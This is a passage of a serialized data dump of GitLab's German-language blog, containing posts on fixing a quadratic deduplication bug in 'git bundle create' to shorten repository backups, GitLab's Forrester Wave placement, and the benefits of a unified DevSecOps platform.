Kraft\"}],\n        \"datePublished\": \"2025-06-05\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097166/Blog/Hero%20Images/Blog/Hero%20Images/REFERENCE%20-%20display%20preview%20for%20blog%20images%20%282%29_2pKf8RsKzAaThmQfqHIaa7_1750097166565.png","GitLab reduziert Backup-Zeiten von 48 Stunden auf 41 Minuten! Entdecke, wie wir einen 15 Jahre alten Git-Bug mit O(N²)-Komplexität gelöst haben. Code inklusive.","Artikel","https://about.gitlab.com/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes",{"heroImage":1438,"body":1443,"authors":1444,"updatedDate":1254,"date":1446,"title":1447,"tags":1448,"description":1449,"category":847},"Backups von Repositorys sind ein wichtiger Bestandteil jeder robusten\nStrategie für die Notfallwiederherstellung. Mit zunehmender Größe der\nRepositorys wird die Erstellung zuverlässiger Backups jedoch immer\nschwieriger. Das Backup unseres eigenen\n[Rails-Repository](https://gitlab.com/gitlab-org/gitlab) dauerte 48 Stunden\nund zwang uns zu einer unmöglichen Entscheidung zwischen Backup-Häufigkeit\nund Systemleistung. Wir wollten dieses Thema sowohl für unsere Kund(inn)en\nals auch für unsere eigenen Benutzer(innen) in den Griff bekommen.\n\n\nSchließlich haben wir das Problem auf eine 15 Jahre alte Git-Funktion mit O(N²)-Komplexität zurückgeführt und sie mit einer algorithmischen Änderung behoben, die die **Backup-Zeiten exponentiell reduzierte**. Das Ergebnis: niedrigere Kosten, weniger Risiko und Backup-Strategien, die tatsächlich mit deiner Codebase mitwachsen.\n\n\nEs stellte sich heraus, dass es sich um ein Skalierungsproblem von Git handelt, das jedes große Repository betrifft. Hier erfährst du, wie wir es aufgespürt und behoben haben.\n\n\n## Skalierbare Backups\n\n\nSehen wir uns zunächst das Problem an. Wenn Unternehmen ihre Repositorys skalieren und Backups immer komplexer werden, stehen sie vor einigen Herausforderungen:\n\n\n* **Zeitintensive Backups:** Bei sehr großen Repositorys kann es mehrere Stunden dauern, bis ein Repository-Backup erstellt wird. Dies kann die Möglichkeit, regelmäßige Backups zu planen, beeinträchtigen. \n\n* **Ressourcenintensität:** Erweiterte Backup-Prozesse können erhebliche Serverressourcen verbrauchen, was sich möglicherweise auf andere Vorgänge auswirken kann.\n\n* **Backup-Fenster:** Für Teams, die rund um die Uhr arbeiten, kann es schwierig sein, angemessene Wartungsfenster für Prozesse zu finden, die so lange dauern.\n\n* **Erhöhtes Ausfallrisiko:** Prozesse, die über längere Zeit ausgeführt werden, sind anfälliger für Unterbrechungen durch Netzwerkprobleme, Neustarts von Servern und Systemfehler. So sind Teams manchmal dazu gezwungen, den gesamten sehr langen Backup-Prozess von Grund auf neu zu starten.\n\n* **Race Conditions:** Da es sehr lange dauert, ein Backup durchzuführen, kann sich das Repository während des Prozesses stark verändern. Dies kann möglicherweise zu einem ungültigen Backup führen oder das Backup unterbrechen, weil Objekte nicht mehr verfügbar sind.\n\n\nDiese Herausforderungen können zu Kompromissen bei der Häufigkeit oder Vollständigkeit von Backups führen – ein inakzeptabler Kompromiss, wenn es um den Datenschutz geht. Erweiterte Backup-Fenster können Kund(inn)en zu Problemumgehungen zwingen. Einige setzen möglicherweise externe Tools ein, während andere die Backup-Häufigkeit reduzieren, was zu potenziell inkonsistenten Datenschutzstrategien im Unternehmen führen kann.\n\n\nSehen wir uns nun an, wie wir einen Leistungsengpass identifiziert, eine Lösung gefunden und diese bereitgestellt haben, um die Backup-Zeiten zu verkürzen.\n\n\n## Die technische Herausforderung\n\n\nDie Repository-Backup-Funktionalität von GitLab basiert auf dem Befehl [`git bundle create`](https://git-scm.com/docs/git-bundle), der einen vollständigen Snapshot eines Repository erfasst, einschließlich aller Objekte und Referenzen wie Branches und Tags. Dieses Bundle dient als Wiederherstellungspunkt, um das Repository in seinem genauen Zustand neu zu erstellen.\n\n\nDie Implementierung des Befehls litt jedoch unter einer schlechten Skalierbarkeit im Zusammenhang mit der Referenzzählung, was zu einem Leistungsengpass führte. Je mehr Referenzen die Repositorys sammelten, desto mehr stieg die Verarbeitungszeit exponentiell an. In unseren größten Repositorys mit Millionen von Referenzen konnten Backup-Vorgänge mehr als 48 Stunden dauern.\n\n\n### Grundursachenanalyse\n\n\nUm die Grundursache dieses Leistungsengpasses zu identifizieren, haben wir ein Flammendiagramm des Befehls während der Ausführung analysiert.\n\n\n![Flammendiagramm, das den Befehl während der Ausführung zeigt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097176/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097176388.jpg)\n\n\nEin Flammendiagramm, das den Ausführungspfad eines Befehls durch seinen Stacktrace zeigt. Jeder Balken entspricht einer Funktion im Code. Die Breite des Balkens gibt an, wie viel Zeit der Befehl für die Ausführung innerhalb dieser bestimmten Funktion benötigt hat.\n\n\nBei der Untersuchung des Flammendiagramms von `git bundle create`, das auf einem Repository mit 10 000 Referenzen ausgeführt wird, werden etwa 80 % der Ausführungszeit von der Funktion `object_array_remove_duplicates()` verbraucht. Diese Funktion wurde in Git im [Commit b2a6d1c686](https://gitlab.com/gitlab-org/git/-/commit/b2a6d1c686) eingeführt (bundle: allow the same ref to be given more than once, 17.01.2009).\n\n\nUm diese Änderung zu verstehen, ist es wichtig zu wissen, dass `git bundle create` es Benutzer(inne)n ermöglicht, anzugeben, welche Referenzen in das Bundle aufgenommen werden sollen. Für vollständige Repository-Bundles werden mit dem Flag `--all` alle Referenzen gepackt.\n\n\nDer Commit löste ein Problem, bei dem Benutzer(innen), die über die Befehlszeile doppelte Referenzen bereitstellten – wie z. B. `git bundle create main.bundle main main` – ein Bundle erstellten, ohne die doppelte Hauptreferenz ordnungsgemäß zu verarbeiten. Das Entpacken dieses Bundles in einem Git-Repository würde fehlschlagen, da versucht würde, die gleiche Referenz zweimal zu schreiben. Der Code zum Vermeiden von Duplikaten verwendet verschachtelte `for`-Schleifen, die alle Referenzen durchlaufen, um Duplikate zu identifizieren. Dieser O(N²)-Algorithmus wird in Repositorys mit einer großen Anzahl von Referenzen zu einem erheblichen Leistungsengpass, da er viel Rechenzeit verbraucht.\n\n\n### Der Fix: Von O(N²) zu effizientem Mapping\n\n\nUm dieses Leistungsproblem zu lösen, haben wir einen Upstream-Fix für Git bereitgestellt, der die verschachtelten Schleifen durch eine Mapping-Datenstruktur ersetzt. Jede Referenz wird der Zuordnung hinzugefügt, wodurch automatisch sichergestellt wird, dass nur eine einzige Kopie jeder Referenz für die Bearbeitung gespeichert wird.\n\n\nDiese Änderung verbessert die Leistung von `git bundle create` drastisch und ermöglicht eine bessere Skalierbarkeit in Repositorys mit einer großen Anzahl von Referenzen. Benchmark-Tests mit einem Repository mit 10 000 Referenzen zeigen eine 6-fache Leistungssteigerung.\n\n\n```shell\n\nBenchmark 1: bundle (refcount = 100000, revision = master)\n  Time (mean ± σ): \t14.653 s ±  0.203 s\t[User: 13.940 s, System: 0.762 s]\n  Range (min … max):   14.237 s … 14.920 s\t10 runs\n\nBenchmark 2: bundle (refcount = 100000, revision = HEAD)\n  Time (mean ± σ):  \t2.394 s ±  0.023 s\t[User: 1.684 s, System: 0.798 s]\n  Range (min … max):\t2.364 s …  2.425 s\t10 runs\n\nSummary\n  bundle (refcount = 100000, revision = HEAD) ran\n  6.12 ± 0.10 times faster than bundle (refcount = 100000, revision = master)\n```\n\n\nDer Patch wurde akzeptiert und in den Git-Upstream [zusammengeführt](https://gitlab.com/gitlab-org/git/-/commit/bb74c0abbc31da35be52999569ea481ebd149d1d). Wir haben diesen Fix zurückportiert, damit unsere Kund(inn)en sofort davon profitieren können, ohne auf die nächste Git-Version warten zu müssen.\n\n\n## Das Ergebnis: Drastisch verkürzte Backup-Zeiten\n\n\nDie Leistungssteigerungen, die sich aus dieser Verbesserung ergeben haben, sind bahnbrechend:\n\n\n* **Von 48 Stunden auf 41 Minuten:** Das Erstellen eines Backups unseres größten Repositorys (`gitlab-org/gitlab`) dauert jetzt nur noch 1,4 % der ursprünglichen Zeit.\n\n* **Konsistente Leistung:** Die Verbesserung funktioniert zuverlässig bei Repositorys jeder Größe.\n\n* **Ressourceneffizienz:** Wir haben die Serverlast während der Backup-Vorgänge deutlich reduziert.\n\n* **Breitere Anwendbarkeit:** Bei der Erstellung von Backups ist die Verbesserung am größten, aber auch alle Bundle-basierten Vorgänge, die mit vielen Referenzen arbeiten, profitieren davon.\n\n\n## Was bedeutet das für GitLab-Kund(inn)en?\n\n\nGitLab-Kund(inn)en profitieren von dieser Erweiterung unmittelbar und spürbar, wenn es darum geht, wie Unternehmen die Sicherung von Repositorys und die Notfallwiederherstellung planen:\n\n\n* **Transformierte Backup-Strategien**   \n\n  * Enterprise-Teams können umfassende nächtliche Zeitpläne aufstellen, ohne dass die Entwicklungs-Workflows beeinträchtigt werden oder umfangreiche Backup-Fenster erforderlich sind.   \n  * Backups können jetzt während der nächtlichen Zeitpläne nahtlos im Hintergrund ausgeführt werden, anstatt separat und langwierig durchgeführt zu werden.  \n* **Bessere Geschäftskontinuität**  \n\n  * Durch die Verkürzung der Backup-Zeiten von Tagen auf Minuten können Unternehmen ihr Wiederherstellungsziel deutlich minimieren. Dies führt zu einem geringeren Geschäftsrisiko – in einem Katastrophenszenario musst du möglicherweise nur noch Stunden anstatt Tage an Arbeit wiederherstellen.  \n* **Reduzierter betrieblicher Mehraufwand**   \n\n  * Geringerer Verbrauch von Serverressourcen und kürzere Wartungsfenster.  \n  * Kürzere Backup-Fenster bedeuten geringere Compute-Kosten, vor allem in Cloud-Umgebungen, wo sich längere Verarbeitungszeiten direkt in höheren Rechnungen niederschlagen.  \n* **Zukunftssichere Infrastruktur**   \n\n  * Wachsende Repositorys erzwingen keine schwierigen Entscheidungen mehr zwischen Backup-Häufigkeit und Systemleistung.   \n  * Wenn deine Codebase wächst, kann deine Backup-Strategie nahtlos mitwachsen.\n\nUnternehmen können jetzt robustere Backup-Strategien umsetzen, ohne Kompromisse bei der Leistung oder Vollständigkeit einzugehen. Was früher ein schwieriger Kompromiss war, ist heute ein ganz normaler Vorgang.\n\n\nMit dem Release von [GitLab 18.0 (nur in englischer Sprache verfügbar)](https://about.gitlab.com/releases/2025/05/15/gitlab-18-0-released/) können alle GitLab-Kund(inn)en unabhängig von ihrem Tarif diese Verbesserungen bereits in vollem Umfang für ihre [Backup-Strategie und Ausführung (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/administration/backup_restore/backup_gitlab/) nutzen. Es ist keine weitere Änderung der Konfiguration erforderlich.\n\n\n## Wie geht es weiter?\n\n\nDieser Durchbruch ist Teil unseres kontinuierlichen Engagements für eine skalierbare, unternehmensgerechte Git-Infrastruktur. Die Reduzierung der Zeit für die Erstellung von Backups von 48 Stunden auf 41 Minuten ist bereits ein wichtiger Meilenstein. Wir arbeiten weiter daran, Leistungsengpässe in unserem gesamten Stack zu identifizieren und zu beheben.\n\n\nWir sind besonders stolz darauf, dass diese Verbesserung in das Git-Projekt integriert wurde und nicht nur den Benutzer(inn)en von GitLab, sondern auch der gesamten Git-Community zugutekommt. Dieser kollaborative Ansatz bei der Entwicklung stellt sicher, dass Verbesserungen gründlich geprüft, umfassend getestet und für alle zugänglich gemacht werden.\n\n\n> Tiefgreifende Infrastrukturarbeit wie diese ist die Art, wie wir bei GitLab an die Leistung herangehen. Nimm am virtuellen Launch-Event von GitLab 18 teil, um zu sehen, welche weiteren grundlegenden Verbesserungen wir einführen werden. [Registriere dich noch heute!](https://about.gitlab.com/de-de/eighteen/)\n",[1030,1445],"Manuel Kraft","2025-06-05","So haben wir GitLab-Backups von 48 Stunden auf 41 Minuten beschleunigt",[],"Erfahre, wie GitLab einen Leistungsengpass in einer 15 Jahre alten Git-Funktion aufgespürt und behoben hat, was zu einer verbesserten Effizienz führte.",{"slug":1451,"featured":92,"template":682},"how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes","content:de-de:blog:how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes.yml","How We Decreased Gitlab Repo Backup Times From 48 Hours To 41 Minutes","de-de/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes.yml","de-de/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes",{"_path":1457,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1458,"content":1464,"config":1471,"_id":1473,"_type":16,"title":1474,"_source":17,"_file":1475,"_stem":1476,"_extension":20},"/de-de/blog/gitlab-named-a-leader-in-the-forrester-wave-devops-platforms-q2-2025",{"ogTitle":1459,"schema":1460,"ogImage":1461,"ogDescription":1462,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":1463,"title":1459,"canonicalUrls":1463,"description":1462},"GitLab ist ein Leader in der Forrester Wave™: DevOps Platforms, Q2 2025","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab ist ein Leader in der The Forrester Wave™: DevOps Platforms, Q2 2025\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dave Steer\"}],\n        \"datePublished\": \"2025-06-02\",\n      }\n                  ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749658898/Blog/Hero%20Images/blog-post-image-forrester-wave-1800x945px-fy26.png","Forrester bezeichnet die GitLab-Plattform als die „All-in-One-Lösung unter den All-in-One-Lösungen“ und geeignet „für Unternehmen, die mit einem Kauf eine Standardisierung herbeiführen möchten“.","https://about.gitlab.com/blog/gitlab-named-a-leader-in-the-forrester-wave-devops-platforms-q2-2025",{"heroImage":1461,"body":1465,"authors":1466,"updatedDate":7,"date":1468,"title":1459,"tags":1469,"description":1462,"category":680},"Die Wahl einer DevSecOps-Plattform ist eine der wichtigesten technologischen Entscheidungen, die ein Unternehmen zu treffen hat. Deshalb freuen wir uns sehr, dass wir als [**führender Anbieter in The Forrester Wave™: DevOps Platforms, Q2 2025** (nur in englischer Sprache verfügbar)](https://about.gitlab.com/forrester-wave-devops-platform/) ausgezeichnet wurden. \n\nWir haben die höchstmöglichen Punktzahlen bei den Kriterien erhalten, die unseren Kund(inn)en laut ihren eigenen Angaben am wichtigsten sind, einschließlich der Benutzungserfahrung am ersten Tag, der Entwicklungstools, der Build-Automatisierung und CI, der automatisierten Bereitstellung, der Risikominderung im Zusammenhang mit KI, KI-Infusion, direkt integrierter Sicherheitstools und Plattformkohäsion.\n\n***„GitLab ist die All-in-One-Lösung unter den All-in-One-Lösungen, die ihrem Namen am stärksten gerecht wird, und eignet sich damit für Unternehmen, die mit einem einzigen Kauf eine Standardisierung herbeiführen möchten.“ –*** Forrester Wave™: DevOps Platforms, Q2 2025\n\nDiese Auszeichnung spiegelt das wider, was wir selbst von unseren Kund(inn)en gehört haben: Sie müssen sichere Software schneller bereitstellen, doch ihre bestehenden Lösungen zwingen sie, Kompromisse bei der Geschwindigkeit, Sicherheit oder Einfachheit einzugehen. GitLab wird jedoch allen drei Anforderungen gerecht. Und mit unserer [Veröffentlichung von GitLab 18.0 (nur in englischer Sprache verfügbar)](https://about.gitlab.com/releases/2025/05/15/gitlab-18-0-released/) im Mai sind wir noch einen Schritt weiter gegangen, indem wir ohne zusätzliche Kosten [die KI-nativen Funktionen von GitLab Duo](https://about.gitlab.com/de-de/blog/gitlab-premium-with-duo/) – wie Test Generation, Code Suggestions und Code Refactoring – direkt in GitLab Premium und GitLab Ultimate integriert haben.\n\n> **[Erhalte jetzt Zugang zum englischsprachigen Bericht.](https://about.gitlab.com/forrester-wave-devops-platform/)**\n\n![ Forrester Wave™: DevOps-Plattformen, Grafik Q2 2025](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673518/Blog/Content%20Images/Image_DevOps-Platforms-Q2-2025.png)\n\n## Mit unternehmensweiter Kontrolle an der Spitze der KI-Transformation bleiben\n\nDevSecOps entwickelt sich rasant weiter, wobei die KI an der Spitze dieses Wandels steht. Leider zwingen viele KI-Tools die Anwender(innen) zu einer Wahl: entweder modernste Funktionen oder eine höchstmögliche Unternehmenssicherheit. \n\nGitLab hat sowohl bei den Kriterien **KI-Infusion** als auch **KI-Risikominderung** 5 Punkte erhalten – die höchste mögliche Punktzahl. Wir freuen uns, dass unser klarer Fokus auf die Entwicklung innovativer KI-Funktionen, bei denen gleichermaßen eine umfassende Sicherheit gewährleistet bleibt, nicht nur von unseren Kund(inn)en wahrgenommen wird.\n\nDiese doppelte Stärke zeigt sich in unseren KI-Angeboten von GitLab Duo, unter anderem:\n\n* Duo Workflow (private Beta-Version): Autonome KI-Agenten, die komplexe Aufgaben bei der Entwicklung, Sicherheit und Betrieb bewältigen – mit Leitlinien und Audit-Trails auf Enterprise-Niveau.  \n* Agentic Chat: Kontextbezogene, dialogorientierte KI-Unterstützung für alles von Codeerläuterungen bis hin zur Erstellung von Tests – mit integriertem Schutz des geistigen Eigentums und Datenschutzkontrollen.  \n* Code Suggestions: KI-Unterstützung, die Codeblöcke vorausschauend vervollständigen, eine Funktionslogik definieren, Tests generieren und häufig verwendeten Code wie Regex-Muster vorschlagen kann.  \n* KI-native Vulnerability Resolution: Findet und behebt Sicherheitslücken mit automatischen Erklärungen und automatisch erstellten Merge Requests, um so den Entwicklungsprozess zu optimieren.\n\n## Mit weniger mehr erreichen\n\nWir haben deutlich vernommen, dass DevSecOps-Teams nicht noch mehr Tools und Integrationen benötigen, die sie bei einzelnen Abschnitten ihres Software-Entwicklungsprozesses unterstützen. Sie benötigen stattdessen eine nahtlose, integrierte Entwicklererfahrung, die den gesamten Lebenszyklus der Softwareentwicklung abdeckt.\n\nWir sind überzeugt, dass die Bewertungen von GitLab in den folgenden Kriterien unsere kundenorientierte Strategie bestätigen:\n\n* **Nutzungserfahrung am ersten Tag:** Forrester zitiert unsere „starke Nutzungserfahrung am ersten Tag“ und stellt fest, dass „alles sofort einsatzbereit ist“, unterstützt durch umfangreiche Migrationstools und Tutorials. \n* **Entwicklertools:** Forrester verweist beispielhaft auf [GitLab Duo mit Amazon Q](https://about.gitlab.com/de-de/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/), unser Angebot für agentische KI für AWS-Kund(inn)en, sowie auf unsere Entwicklungsumgebung in der Cloud, die integrierte Entwicklungsplattform und Wikis für die Dokumentation.  \n* **Projektplanung und -abstimmung:** Forrester hebt unser „starkes Compliance Center“ hervor und stellt fest, dass wir über Tools verfügen, um die Abstimmung in beide Richtungen voranzutreiben.  \n* **Pipeline-Sicherheit:** Forrester gibt uns die höchstmögliche Punktzahl beim Kriterium Pipeline-Sicherheit.  \n* **Build-Automatisierung und CI:** Forrester erwähnt unsere Build-Automatisierung und CI mit mehrstufigen Build-Pipelines und einer starken Unterstützung für selbst gehostete Installationen.\n\n## Bericht lesen \n\nFür uns spiegelt sich in unserer Auszeichnung als führender Anbieter in The Forrester Wave™: DevOps-Plattformen, Q2 2025 die Breite und Tiefe der Funktionen unserer Plattform wider, die als Single Source of Truth über den gesamten Lebenszyklus der Softwareentwicklung hinweg fungiert. Kein Jonglieren mit mehreren Tools und Integrationen mehr – GitLab bietet eine nahtlose, integrierte Erfahrung, die die Produktivität steigert und Reibungsverluste reduziert. \n\nWir sind überzeugt, dass sich in dieser hervorragenden Platzierung die harte Arbeit unseres Teams, die vielen Beiträge der Open-Source-Community von GitLab, das unschätzbare Feedback unserer Kund(inn)en und unser Engagement für die Gestaltung der Zukunft der Softwareentwicklung widerspiegeln.\n\n> **[Öffne den englischsprachigen Bericht.](https://about.gitlab.com/forrester-wave-devops-platform/)**\n\n*Forrester spricht keine Empfehlung für Unternehmen, Produkte, Marken oder Dienstleistungen aus, die in seinen Forschungspublikationen vorkommen, und rät niemandem, sich auf der Grundlage der in diesen Publikationen aufgeführten Bewertungen für die Produkte oder Dienstleistungen eines Unternehmens oder einer Marke zu entscheiden. Die Informationen basieren auf den besten verfügbaren Ressourcen. Die Meinungen spiegeln die jeweils aktuelle Einschätzung wider und können sich ändern. Weitere Informationen zur Objektivität von Forrester (in englischer Sprache) findest du [hier](https://www.forrester.com/about-us/objectivity/).*",[1467],"Dave Steer","2025-06-02",[1470,680,723,746],"research",{"slug":1472,"featured":92,"template":682},"gitlab-named-a-leader-in-the-forrester-wave-devops-platforms-q2-2025","content:de-de:blog:gitlab-named-a-leader-in-the-forrester-wave-devops-platforms-q2-2025.yml","Gitlab Named A Leader In The Forrester Wave Devops Platforms Q2 2025","de-de/blog/gitlab-named-a-leader-in-the-forrester-wave-devops-platforms-q2-2025.yml","de-de/blog/gitlab-named-a-leader-in-the-forrester-wave-devops-platforms-q2-2025",{"_path":1478,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1479,"content":1485,"config":1491,"_id":1493,"_type":16,"title":1494,"_source":17,"_file":1495,"_stem":1496,"_extension":20},"/de-de/blog/why-are-organizations-moving-to-a-unified-devsecops-platform",{"ogTitle":1480,"schema":1481,"ogImage":1482,"ogDescription":1483,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":1484,"title":1480,"canonicalUrls":1484,"description":1483},"Einheitliche DevSecOps-Plattform: Vorteile für Unternehmen","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Warum steigen Unternehmen auf eine einheitliche DevSecOps-Plattform um?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2025-06-02\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097063/Blog/Hero%20Images/Blog/Hero%20Images/securitylifecycle-light_securitylifecycle-light.png_1750097063583.png","Erfahre mehr über GitLabs einheitliche DevSecOps-Plattform: Tool-Integration, verbesserte Sicherheit und KI für effiziente Entwicklung.","https://about.gitlab.com/blog/why-are-organizations-moving-to-a-unified-devsecops-platform",{"heroImage":1482,"body":1486,"authors":1487,"updatedDate":1363,"date":1468,"title":1488,"tags":1489,"description":1490,"category":697},"In der modernen Softwareentwicklung von heute migrieren viele Unternehmen in die Cloud und führen DevSecOps-Prozesse ein. Durch die Vielzahl von Tools und Legacy-Systemen, die nicht für die moderne Entwicklung ausgelegt sind, stellt diese Umstellung jedoch eine große Herausforderung dar. \n\nUm diese Systeme an DevSecOps anzupassen, müssen Unternehmen mehrere Tools für Aufgabenmanagement, CI/CD, Sicherheit, Überwachung und vieles mehr miteinander verknüpfen. Das Ergebnis? Komplexe Betriebsabläufe, hohe Wartungskosten und eine erschwerte Zusammenarbeit zwischen Entwicklungs- und Betriebsteams. Darüber hinaus sind Entwickler(innen) frustriert, da sie ständig zwischen verschiedenen Tools wechseln müssen, um einen einzigen Flow – von der Planung bis zur Produktion – abzuschließen.\n\n![Die Komplexität und die Betriebskosten der Integration mehrerer Tools in einen DevSecOps-Prozess](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097077287.jpg)\n\n\u003Ccenter>\u003Ci>Wie komplex es sein kann, mehrere Tools in einen DevSecOps-Prozess zu integrieren\u003C/i>\u003C/center> \n\n\u003Cbr>\u003C/br>\n\nDie gute Nachricht ist, es gibt eine Lösung: Eine umfassende DevSecOps-Plattform, die einen einheitlichen Ansatz für die Softwareentwicklung bietet.\n\nDiese Plattformen sind für Unternehmen konzipiert, die in cloudbasierten und DevSecOps-Umgebungen arbeiten. Sie konsolidieren alle Phasen der Softwareentwicklung – von der Codeverwaltung, über CI/CD-Prozesse, Aufgabenmanagement und Sicherheit bis hin zur KI-gestützten Automatisierung – auf einer einzigen Plattform. Die Zentralisierung aller Softwareentwicklungs-Workflows in einer einheitlichen Oberfläche ermöglicht es den Entwicklungs- und Betriebsteams, effizienter zu arbeiten, die Kommunikation zu vereinfachen und die Komplexität der Vorgänge und Störungen zu minimieren. \n\nDarüber hinaus verbessert sich die Entwicklererfahrung erheblich – sie arbeiten viel lieber mit einem Produkt, das speziell für moderne Entwicklungsanforderungen konzipiert wurde.\n\nIn den folgenden Abschnitten erfahren wir, wie GitLab Teams bei der Bewältigung gängiger Herausforderungen hilft – sei es bei der Verwaltung von Projekten und Aufgaben, der Gewährleistung von Sicherheit und Compliance oder der Einführung von KI-basierten Entwicklungstools – und das alles auf einer einzigen, einheitlichen Plattform.\n\n> **Von 24 Stunden auf 10 Minuten: So beschleunigt Airbus seine Feature-Releases mit GitLab** Airbus Intelligence nutzt GitLab, um globale Teams zu vereinen, manuelle Schritte zu automatisieren und damit seine Setup-Zeit um das 144-fache zu verkürzen. Erfahre, wie auf diese Weise in 5 Jahren ein Projektwachstum um 425 % entstehen konnte. **[Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/airbus/)**\n\n## Integriertes Agile-Projektmanagement\n\n[GitLab](https://about.gitlab.com/de-de/) bietet eine ganzheitliche Lösung, bei der das Projekt- und Aufgabenmanagement über alle Phasen des Softwareentwicklungszyklus hinweg vollständig integriert ist, wie z. B. CI/CD, wodurch der Entwicklungsfortschritt in Echtzeit verfolgt werden kann. Tickets und Epics sind direkt mit den Automatisierungsprozessen verknüpft und ermöglichen einen nahtlosen Flow von der Planung bis zur Bereitstellung in der Produktion. Dieser Ansatz erhöht die Transparenz zwischen den Teams, verringert Verzögerungen und stellt sicher, dass alle Beteiligten einen klaren Überblick über den Entwicklungsstatus in Echtzeit haben.\n\n![Tickets und Epics sind direkt mit Automatisierungsprozessen verknüpft und ermöglichen einen nahtlosen Übergang von der Planung bis zur Bereitstellung in der Produktion.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097077288.jpg)\n\n## Integrierte Sicherheit\n\nGitLab legt großen Wert auf die Integration von umfassenden Sicherheitsfunktionen („security first“). Die Plattform integriert eine breite Palette automatisierter Sicherheitsscanner, darunter (Dokumentation nur in englischer Sprache verfügbar):\n\n* [Abhängigkeitssuche](https://docs.gitlab.com/user/application_security/dependency_scanning/)\n* [Statische Anwendungssicherheitstests (SAST)](https://docs.gitlab.com/user/application_security/sast/)\n* [Dynamische Anwendungssicherheitstests (DAST)](https://docs.gitlab.com/user/application_security/dast/)\n* [Erkennung von Geheimnissen](https://docs.gitlab.com/user/application_security/secret_detection/)\n* [Container-Scanning](https://docs.gitlab.com/user/application_security/container_scanning/)\n\n![Sicherheitsscanning-Funktionen, die in verschiedenen Entwicklungsphasen in den CI/CD-Prozess integriert sind](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097077289.jpg)\n\n\u003Ccenter>\u003Ci>Sicherheitsscanning-Funktionen, die in verschiedenen Entwicklungsphasen in den CI/CD-Prozess integriert sind\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\nDiese Sicherheitsprüfungen werden direkt in jede Phase des Softwareentwicklungszyklus eingebaut, einschließlich der CI/CD-Pipeline, um den Entwickler(inne)n schon früh im Entwicklungszyklus ein unmittelbares Feedback zu potenziellen Sicherheitsproblemen zu geben.\n\n## Compliance und regulatorische Anforderungen\n\nNeben Effizienz und Benutzerfreundlichkeit müssen viele Unternehmen – insbesondere in regulierten Branchen wie Finanzinstituten oder Großunternehmen – sicherstellen, dass ihre Prozesse strengen Sicherheits- und Compliance-Standards entsprechen. Sie müssen in der Lage sein, Richtlinien für verschiedene Projekte durchzusetzen, z. B. einen Sicherheitsscanner vorzuschreiben, wenn eine CI/CD-Pipeline auf bestimmten Code-Branches (Main- oder geschützte Branches) ausgeführt wird, oder bestimmte Genehmigungen zu verlangen, bevor Code in den Main-Branch zusammengeführt wird.\n\nMit GitLab wird dies durch [Compliance-Frameworks (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/) erleichtert, eine Funktion, mit der Unternehmen strukturierte Richtlinien für ausgewählte Projekte definieren und durchsetzen können. So wird die Einhaltung automatischer gesetzlicher und sicherheitstechnischer Anforderungen gewährleistet und gleichzeitig ein nahtloser und effizienter Workflow für Entwickler(innen) sichergestellt.\n\n## KI-basierte Entwicklung\n\n[GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/) unterstützt dich in allen Entwicklungsphasen mit KI, sodass du nicht mehr auf externe Tools zurückgreifen musst. Jede KI-unterstützte Anforderung wird im gesamten Kontext des Projekts und der Codebase bearbeitet, was eine intelligentere und effizientere Arbeit ermöglicht.\n\nDie KI kann zum Beispiel folgende Aufgaben übernehmen:\n\n* automatische Erstellung von Aufgabenbeschreibungen\n* intelligente Zusammenfassung von Diskussionen zu Tickets, was Entwickler(inne)n wertvolle Zeit spart\n* erweiterte Code-Review-Funktionen\n* Vorschläge zur Codeverbesserung und -optimierung\n* automatisierte Testgenerierung\n* Erkennung und Behebung von Sicherheitslücken\n* Fehlerbehebung bei der Grundursachenanalyse für CI-Pipeline-Fehler\n* Datenschutz und Datensicherheit\n\nGitLab kennt die Bedürfnisse von regulierten Unternehmen, insbesondere im öffentlichen und im Finanzsektor, und bietet eine einzigartige Lösung für den Einsatz von KI-Modellen in einer sicheren Umgebung. GitLab Duo Self-Hosted ermöglicht es Unternehmen, die volle Kontrolle über Datenschutz, Sicherheit und die Bereitstellung großer Sprachmodelle [(LLMs; nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/) in ihrer eigenen Infrastruktur zu behalten. Dabei wird Folgendes gewährleistet:\n\n* Datenschutz\n* Einhaltung gesetzlicher Anforderungen\n* maximale Sicherheit\n* KI-Vorteile ohne externe Netzwerkabhängigkeiten oder -risiken\n\n## Zusammenfassung\n\nUnternehmen brauchen eine umfassende DevSecOps-Plattform, um Prozesse zu rationalisieren, die Sicherheit zu verbessern und Innovationen zu beschleunigen. GitLab bietet genau das – eine 